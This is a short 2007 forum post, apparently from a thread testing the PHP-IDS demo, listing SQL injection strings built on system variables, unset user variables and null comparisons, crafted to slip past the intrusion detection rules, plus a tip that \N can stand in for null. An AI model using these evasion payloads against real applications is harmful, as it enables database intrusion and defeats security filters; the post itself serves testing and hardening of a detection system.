yep. also check for
system variables by looking for @@\w+ or something alike.
http://demo.php-ids.org/?test=1'*@@version*-0%20=%20'0 1'*@@version*-0%20=%20'0
user variables or other statics work also:
http://demo.php-ids.org/?test=1'*UTC_TIME%20or%20'1 1'*UTC_TIME or '1
http://demo.php-ids.org/?test=1'*@a%20or%20'1 1'*@a or '1
http://demo.php-ids.org/?test=1'*null%20or%20'1 1'*null or '1
http://demo.php-ids.org/?test=1'*@a%20is%20null%20-%20%27 1'*@a is null - '
http://demo.php-ids.org/?test=1'*null%20is%20null%20-%20%27 1'*null is null - '
@a is an unset user variable, so "1 * @var" returns "null".
the ending - ' just ensures that quotes are closed, because I cant find an undetected comment type atm ;)
greetings,
Reiners
edit:
just noticed that you can use \N as synonym for "null" ... that may trick some rules too. I'll try later ;)
Edited 3 time(s). Last edit at 10/29/2007 11:30AM by Reiners.